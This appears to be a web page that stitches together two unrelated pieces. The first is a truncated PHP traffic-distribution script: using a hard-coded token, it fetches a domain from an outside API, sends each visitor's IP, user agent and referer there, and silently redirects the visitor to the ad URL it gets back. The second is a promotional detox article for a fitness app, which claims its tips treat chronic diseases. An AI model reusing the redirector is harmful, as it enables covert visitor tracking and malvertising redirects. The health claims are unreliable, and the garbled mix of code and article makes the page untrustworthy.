";
echo json_encode($_SERVER);
echo "
";
}
$API_DOMAIN = 'noy-95.com';
$AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0';
$TB_URL = '';
$ttl = 10 * 60;
$fileName = dirname(__FILE__)."/.domain.cache";
$query = isset($_GET['q']) ? $_GET['q'] : '';
$s1 = isset($_GET['s1']) ? $_GET['s1'] : '';
$s2 = isset($_GET['s2']) ? $_GET['s2'] : '';
$s3 = isset($_GET['s3']) ? $_GET['s3'] : '';
if ($isDebug) {
echo "Getting tds domain from cache...
";
}
$info = getDomain($fileName);
if (is_array($info) && $info['expired'] < time()) {
if ($isDebug) {
echo "FAIL: TDS domain cache is empty or expired
";
}
$info = false;
}
if ($info === false) {
if ($isDebug) {
echo "Getting tds domain from api...
";
}
$domain = getTDSDomain($API_DOMAIN, $AD_TOKEN);
if (!$domain) {
if ($isDebug) {
echo "FAIL: No domain received.
";
}
if ($TB_URL) {
$rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL);
if ($isDebug) {
echo "Redirecting to trafficback: $rUrl
";
} else {
listHeaders();
header("Location: $rUrl");
}
return;
}
if ($isDebug) {
echo "Rendering 404 error
";
} else {
render404($_SERVER);
}
return;
}
if ($isDebug) {
echo "Saving domain to cache...
";
}
saveDomain($fileName, $domain, time() + $ttl);
$info = array('domain' => $domain);
}
if ($isDebug) {
echo "Getting ad url...
";
}
$location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug);
if (!$location) {
if ($isDebug) {
echo "FAIL: No ad found.
";
echo "Rendering 404 error
";
} else {
render404($_SERVER);
}
return;
}
if ($isDebug) {
echo "Redirecting to ad: $location
";
} else {
listHeaders();
header("Location: $location");
ob_flush();
}
return;
function getDomain($file) {
$d = file($file);
if ($d === false || count($d) === 0) {
return false;
}
$info = explode(";", $d[0]);
// mailformed file
if (count($info) !== 2) {
return false;
}
return array(
'domain' => $info[0],
'expired' => (int) $info[1]
);
}
function saveDomain($file, $domain, $expired) {
file_put_contents($file, "$domain;$expired");
}
function getTDSDomain ($apiUrl, $token) {
$ctx = stream_context_create(array('http'=>array('timeout' => 10)));
$res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx);
if (!$res) {
return "";
}
$data = json_decode($res, true);
if (!is_array($data) || !array_key_exists("domain", $data)) {
return "";
}
return $data["domain"];
}
function getAd($domain, $token, $server, $params, $isDebug) {
$errCount = 0;
$res = '';
while ($errCount < 2) {
$res = doReq($domain, $token, $server, $params, $isDebug);
if ($res !== false) {
break;
}
$errCount++;
}
if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) {
return false;
}
if (!empty($res['response']['url'])) {
return $res['response']['url'];
} else if (!empty($res['response']['tb'])) {
return $res['response']['tb'];
} else {
return false;
}
}
function doReq($domain, $token, $server, $params, $isDebug) {
$ch = curl_init();
$body = array();
if (!empty($server['HTTP_REFERER'])) {
$body['ref'] = $server['HTTP_REFERER'];
}
if (!empty($server['HTTP_USER_AGENT'])) {
$body['ua'] = $server['HTTP_USER_AGENT'];
}
if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) {
$body['lang'] = $server['HTTP_ACCEPT_LANGUAGE'];
}
$body['ip'] = getClientIP($server);
$body['q'] = $params['query'];
$scheme = getScheme($server);
$bodyStr = json_encode($body);
$addSubParams = array();
if (!empty($params['s1'])) {
$addSubParams[] = "s1=".$params['s1'];
}
if (!empty($params['s2'])) {
$addSubParams[] = "s2=".$params['s2'];
}
if (!empty($params['s3'])) {
$addSubParams[] = "s3=".$params['s3'];
}
$subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : "";
$ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr");
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: '.strlen($bodyStr))
);
$result = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($info === false || !$info['http_code']) {
if ($isDebug) {
echo "Network error occurred: ".curl_error($ch)."
";
}
return false;
}
$adData=json_decode($result, true);
return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null);
}
function getScheme($server) {
return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http';
}
function getClientIP($server) {
if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){
return $server["HTTP_X_FORWARDED_FOR"];
} else if (array_key_exists('HTTP_X_REAL_IP', $server)) {
return $server["HTTP_X_REAL_IP"];
} else if (array_key_exists('REMOTE_ADDR', $server)) {
return $server["REMOTE_ADDR"];
}
return '';
}
function listHeaders() {
header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Connection: close");
}
function render404($server) {
$protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1';
listHeaders();
header("$protocol 404 Not Found");
}
Detoxing for beginners: 5 ways to detox without starving and why we should all try it out occasionally
Detox is one of the most effective ways to cleanse your body naturally and improve your digestion. Many people equate detoxing with deprivation and hunger, but that's not right.
BetterMe App helps women achieve their body goals with ease and efficiency by helping to choose proper meal plans and effective workouts.
Start using our app and you will see good results in a short time.
Luckily, it is possible to detoxify your body without suffering. New kind of detox is a great way to fill your body with vitamins and minerals, and it may help you speed up metabolism and boost your physical health. Try just ten days of detoxing and you will see this huge difference!
If you've never tried detoxing, we would like to show you five ways to detox without starving. By using these tips, you will be able to treat your chronic diseases and slim down. Are you interested? Scroll down to read these tips right now.

Credit: Freepik
First, you need to limit the consumption of sugar, flour, artificial sweeteners, as they all increase sugar cravings and make you gain fat. You should also cut out foods with trans or hydrogenated fats, caffeine and alcohol.

Credit: Freepik
#2. Fill your body with proteins
Getting enough protein is the key to maintain normal blood sugar and improving insulin resistance. It is necessary to
balance your diet with eggs, nuts and fish.

Credit: Freepik
#3. Eat right carbs
Yes, it is true. You may eat as many leafy greens and veggies as you want. Eating broccoli, cauliflower, cabbage, carrots, tomatoes, peppers and zucchini can help you slim down and feel amazing.

Credit: Freepik
#4. Consume healthy fats
Healthy fats won't make you gain fat. They are essential for your body and weight loss. If you want to get in shape and maintain a good healthy, you should consume healthy fats such as, avocados, fat fish, olive oil and coconut oil.
BetterMe App helps you increase your self-esteem and achieve your personal goals by opening the doors to the world of fitness and healthy lifestyle.
Try it now to see the best version of yourself as soon as possible.

Credit: Freepik
#5. Invite your friends to detox with you
Studies show that people who perform the program together and support each other, lose weight much faster. So if you want to get great results, try detoxing with your friends.